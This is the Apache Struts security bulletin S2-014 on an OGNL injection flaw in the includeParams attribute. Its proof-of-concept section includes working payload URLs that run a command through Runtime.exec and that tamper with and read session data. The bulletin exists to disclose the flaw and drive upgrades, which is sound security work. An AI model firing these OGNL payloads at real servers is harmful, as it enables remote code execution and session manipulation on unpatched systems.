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<h2 id="S2014-Summary">Summary</h2>
<p>
<p class="conf-macro output-inline" data-hasbody="true" data-macro-name="excerpt">A vulnerability introduced by forcing parameter inclusion in the <em>URL</em> and <em>Anchor</em> Tag allows remote command execution, session access and manipulation and XSS attacks</p>
<div class="table-wrap"><table class="confluenceTable"><tbody>
<tr>
<th class="confluenceTh"><p>Who should read this</p></th>
<td class="confluenceTd"><p>All Struts 2 developers and users</p></td>
</tr>
<tr>
<th class="confluenceTh"><p>Impact of vulnerability</p></th>
<td class="confluenceTd"><p>Remote command execution, remote server context manipulation, injection of malicious client side code</p></td>
</tr>
<tr>
<th class="confluenceTh"><p>Maximum security rating</p></th>
<td class="confluenceTd"><p>Highly Critical</p></td>
</tr>
<tr>
<th class="confluenceTh"><p>Recommendation</p></th>
<td class="confluenceTd"><p>Developers should immediately upgrade to <a href="download.html#struts23142" class="external-link" rel="nofollow">Struts 2.3.14.2</a></p></td>
</tr>
<tr>
<th class="confluenceTh"><p>Affected Software</p></th>
<td class="confluenceTd"><p> Struts 2.0.0 - Struts 2.3.14.1 </p></td>
</tr>
<tr>
<th class="confluenceTh"><p>Reporter</p></th>
<td class="confluenceTd"><p> Eric Kobrin and Douglas Rodrigues (Akamai), Coverity Security Research Laboratory, NSFOCUS Security Team </p></td>
</tr>
<tr>
<th class="confluenceTh"><p>CVE Identifier</p></th>
<td class="confluenceTd"><p><a href="javascript:;" class="external-link" rel="nofollow">CVE-2013-2115</a>, <a href="javascript:;" class="external-link" rel="nofollow">CVE-2013-1966</a></p></td>
</tr>
</tbody></table></div>
<h2 id="S2014-Problem">Problem</h2>
<p>Both the <a href="javascript:;" class="external-link" rel="nofollow"><em>s:url</em></a> and <a href="javascript:;" class="external-link" rel="nofollow"><em>s:a</em></a> tag provide an <em>includeParams</em> attribute. </p>
<p>The main scope of that attribute is to understand whether includes http request parameter or not. </p>
<p>The allowed values of includeParams are:</p>
<ol>
<li><em>none</em> - include no parameters in the URL (default)</li>
<li><em>get</em> - include only GET parameters in the URL</li>
<li><em>all</em> - include both GET and POST parameters in the URL</li>
</ol>
<p>A request that included a specially crafted request parameter could be used to inject arbitrary OGNL code into the stack, afterward used as request parameter of an <em>URL</em> or <em>A</em> tag , which will cause a further evaluation. </p>
<p>The second evaluation happens when the URL/A tag tries to resolve every parameters present in the original request.<br>
This lets malicious users put arbitrary OGNL statements into any request parameter (not necessarily managed by the code) and have it evaluated as an OGNL expression to enable method execution and execute arbitrary methods, bypassing Struts and OGNL library protections.</p>
<p>The issue was originally addressed by Struts 2.3.14.1 and Security Announcement <a href="s2-013.html">S2-013</a>. However, the solution introduced with 2.3.14.1 did not address all possible attack vectors, such that <strong>every</strong> version of Struts 2 before 2.3.14.2 is still vulnerable to such attacks.</p>
<h2 id="S2014-Proofofconcept">Proof of concept</h2>
<ol>
<li>Open HelloWorld.jsp present in the Struts Blank App and add to one of the url/a tag the following parameter:
<div class="code panel pdl conf-macro output-block" style="border-width: 1px;" data-hasbody="true" data-macro-name="code"><div class="codeContent panelContent pdl">
<pre class="syntaxhighlighter-pre" data-syntaxhighlighter-params="brush: java; gutter: false; theme: Default" data-theme="Default">
includeParams="all"
</pre>
</div></div>
Such that the line will be something look like this:
<div class="code panel pdl conf-macro output-block" style="border-width: 1px;" data-hasbody="true" data-macro-name="code"><div class="codeContent panelContent pdl">
<pre class="syntaxhighlighter-pre" data-syntaxhighlighter-params="brush: java; gutter: false; theme: Default" data-theme="Default">
<s:url id="url" action="HelloWorld" includeParams="all">
</pre>
</div></div></li>
<li>Run struts2-blank app</li>
<li>Open the following url, resulting in calc application opening on Windows (try ....exec('open%20.')} to open a Finder window on Mac OS):
<div class="code panel pdl conf-macro output-block" style="border-width: 1px;" data-hasbody="true" data-macro-name="code"><div class="codeContent panelContent pdl">
<pre class="syntaxhighlighter-pre" data-syntaxhighlighter-params="brush: java; gutter: false; theme: Default" data-theme="Default">http://localhost:8080/struts2-blank/example/HelloWorld.action?aaa=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Runtime@getRuntime().exec('calc')}</pre>
</div></div></li>
<li>Open the following url to modify session content:
<div class="code panel pdl conf-macro output-block" style="border-width: 1px;" data-hasbody="true" data-macro-name="code"><div class="codeContent panelContent pdl">
<pre class="syntaxhighlighter-pre" data-syntaxhighlighter-params="brush: java; gutter: false; theme: Default" data-theme="Default">http://localhost:8080/struts2-blank/example/HelloWorld.action?aaa=1${%23session[%22hacked%22]='true'}</pre>
</div></div></li>
<li>Open the following url to print out session content and in combination with the previous example introduce arbitrary code into the resulting HTML output:
<div class="code panel pdl conf-macro output-block" style="border-width: 1px;" data-hasbody="true" data-macro-name="code"><div class="codeContent panelContent pdl">
<pre class="syntaxhighlighter-pre" data-syntaxhighlighter-params="brush: java; gutter: false; theme: Default" data-theme="Default">http://localhost:8080/struts2-blank/example/HelloWorld.action?aaa=1${%23session[%22hacked%22]}</pre>
</div></div></li>
</ol>
<p>As you will notice, in this case, there is no way to escape/sanitize the malicious parameter, since it's not an expected parameter and even will not get evaluated the request parameters are processed. </p>
<h2 id="S2014-Solution">Solution</h2>
<p>The URL rendering subsystem was changed to not pass any parameter name or value to OGNL evaluation.</p>
<p>The MemberAccess component's allowStaticMethodAccess property is now immutable.</p>
<div class="confluence-information-macro confluence-information-macro-note conf-macro output-block" data-hasbody="true" data-macro-name="note"><p class="title">Backward Compatibility</p><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"> </span><div class="confluence-information-macro-body">
<p>A small amount of very elaborated <em>URL</em> or <em>A</em> tag usages depending on the now disabled evaluation might produce unexpected results now.<br>
Please, ensure that</p>
<ol>
<li>all expressions that should get evaluated are explicitly introduced via <em>PARAM</em> tags within <em>URL</em> or <em>A</em> tags.</li>
<li>all expressions used in <em>PARAM</em> tags come from a sanitized input.</li>
</ol>
</div></div>
<div class="confluence-information-macro confluence-information-macro-warning conf-macro output-block" data-hasbody="true" data-macro-name="warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"> </span><div class="confluence-information-macro-body">
<p><strong>It is strongly recommended to upgrade to <a href="download.html#struts23142" class="external-link" rel="nofollow">Struts 2.3.14.2</a>, which contains the corrected OGNL and XWork library.</strong></p></div></div>
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